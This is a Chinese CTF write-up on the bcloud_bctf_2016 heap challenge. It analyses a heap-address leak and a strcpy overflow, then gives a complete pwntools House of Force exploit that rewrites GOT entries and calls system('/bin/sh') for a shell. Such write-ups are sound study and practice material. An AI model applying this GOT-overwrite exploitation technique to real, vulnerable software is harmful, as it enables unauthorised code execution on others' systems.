注意
本文最后更新于 2021-04-03,文中内容可能已过时。
总结
根据本题,学习与收获有:
house of force
不需要保证top chunk
的size
域是合法的,但是house of orange
需要保证size
域合法,因为后一种利用方式会把top chunk
放在unsorted bin
,会有chunk size
的检查。
house of force
一般需要泄露出heap
地址,并且需要能改写top chunk
的size
域,还要能分配任意大小的内存,总的来说,条件还是很多的。可以直接分配到got
表附近,但是这样会破坏一些got
表的内容,也可分配到堆指针数组,一般在bss
或者data
段。
strcpy
会一直拷贝源字符串,直到遇到\x0a
或者\x00
字符。并且在拷贝结束后,尾部添加一个\x00
字符,很多off by one
的题目就是基于此。
题目分析
题目的运行环境是ubuntu 16
,使用libc-2.23.so
。
checksec
注意:arch
为i386-32-little
。
函数分析
很明显,这又是一个菜单题。首先来看main
函数:
main
在进入while
循环之前,首先调用了welcome
函数引用与参考[1],然后再去执行循环体。继续来看一下welcome
中有什么操作。
welcome
这里面调了两个函数,继续分析
get_name
这里面操作为:
- 向栈变量
s
写入0x40
大小的数据,有一个字节的溢出
- 申请内存,
malloc(0x40)
,得到的chunk
大小为0x48
- 调用
strcpy
,把s
的数据拷贝到刚刚申请的chunk
的用户内存区域。
这里存在一个漏洞点,越界拷贝了堆地址,在后面的漏洞点中会有分析。
顺便放一下read_off_by_one
函数和put_info
函数:
read_off_by_one:
put_info:
get_org_host
这里涉及到两次向栈变量上写数据,并且两次申请堆内存,两次调用strcpy
接口。这里存在着溢出漏洞,后续漏洞点中会进一步分析。
new_note
此住需要注意的点有:
ptr_array
里面最多填满10
个地址
- 实际申请的
chunk
的大小是size + 4
,能写的大小却是size
,基本上不能使用off by one
show_note
edit_note
从ptr_array
数组和ptr_size
数组中取出存储的地址和大小,并重新获取用户输入并写入数据。
del_note
释放指针指向的内存后直接将指针置为0
漏洞点
一开始看这个程序的时候,一直把目光对准了while
循环体里面,几个关于note
的函数,因为一般情况下,漏洞点会出现在这些函数里面,事实证明,惯性思维害死人。找了半天,啥洞也没找到,最后把目光聚焦在welcome
里面的两个函数,才发现了利用点。接下来,详细讲一讲漏洞点。
漏洞点1:get_name泄露堆地址
get_name:
这里画一下栈内存与堆内存的变化:
填充内容前:
填充内容后:
因此,当填慢0x40
个可见字符后,调用put_info
打印内容的时候会把上面的chunk
的地址给打印出来。
漏洞点2:get_org_host修改top chunk的size域
get_org_host函数:
填充前:
往栈变量s
和p
写了数据,并分配内存后:
**执行两次strcpy
**后:
可以看到top chunk
的size
域被更改了。
利用思路
知识点
- 本题主要使用House of Force Attack,注意,这个攻击方法在
2.23、2.27
版本的libc
是奏效的,在libc-2.29.so
加了top chunk
的size
域合法性的校验。
- 计算大小的时候,可以就直接给
malloc
传一个负数,会自动转化为正整数的。
- 可以在调试过程中确定要分配的那个大小,计算得到的
size
可能会有一些偏移。
利用过程
利用步骤:
- 在
get_name
接口中,输入0x40 * 'a'
,泄露出堆地址
- 通过
get_org_host
覆盖top chunk
的size
,修改为0xffffffff
。
- 利用
house of force
分配到ptr_array
,即地址为0x0x804b120
。
- 连续分配4个用户大小为
0x44
大小的chunk A、B、C、D
。那么,编辑chunk A
的时候,就能直接修改ptr_array
数组元素的地址。引用与参考[2]。
- 调用
edit_note
,编辑chunk A
,将ptr_array[2]
设置为free@got
,将ptr_array[3]
设置为printf@got
。
- 调用
edit_note
,编辑ptr_array[2]
的内容为puts@plt
,就是将free@got
修改为了puts@plt
地址。
- 调用
del_note
,去释放ptr_array[3]
,实际上调用的是puts
打印出来了printf
的地址。
- 再次调用
edit_note
,编辑chunk A
,将ptr_array[0]
设置为0x804b130
,ptr_array[2]
设置为free@got
,将ptr_array[4]
写为/bin/sh
- 调用
edit_note
,将free@got
修改为了system
地址
- 调用
del_note
,释放ptr_array[0]
,即可getshell
EXP
调试过程
定义好函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
|
执行get_name
,泄露heap
地址:
1
2
3
4
|
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
|
执行get_org_host
,修改top chunk
的size
为0xffffffff
:
1
2
3
|
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
|
计算出top chunk
的地址,分配到0x804b120
:
1
2
3
4
|
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
|
连续分配四块chunk
,修改free@got
的内容为puts@plt
,泄露出libc
的地址:
1
2
3
4
5
6
7
8
9
10
11
|
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
|
计算出system
地址,修改free@got
为system
函数的地址,并准备好/bin/sh
:
1
2
3
|
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
|
释放带有/bin/sh
的chunk
,即可getshell
:
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
from pwn import *
context.update(arch='i386', os='linux')
sh = process('./bcloud_bctf_2016')
LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i))
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
if all_parsed_args['debug_enable']:
offset = 0xe8d0 # 0x10470
else:
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
LOG_ADDR('libc_base', libc_base)
offset = libc.dump('printf') - libc.dump('system')
LOG_ADDR('offset', offset)
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
del_note(0)
sh.interactive()
|
引用与参考
以下为引用与参考,可能以脚注的形式呈现!
[1]:本文的函数均已重命名,原二进制文件不带符号信息
[2]:其实这里可以直接去控制ptr_size
数组,一直到ptr_array
,这样还可以控制size
,分配一个chunk
就够操作了。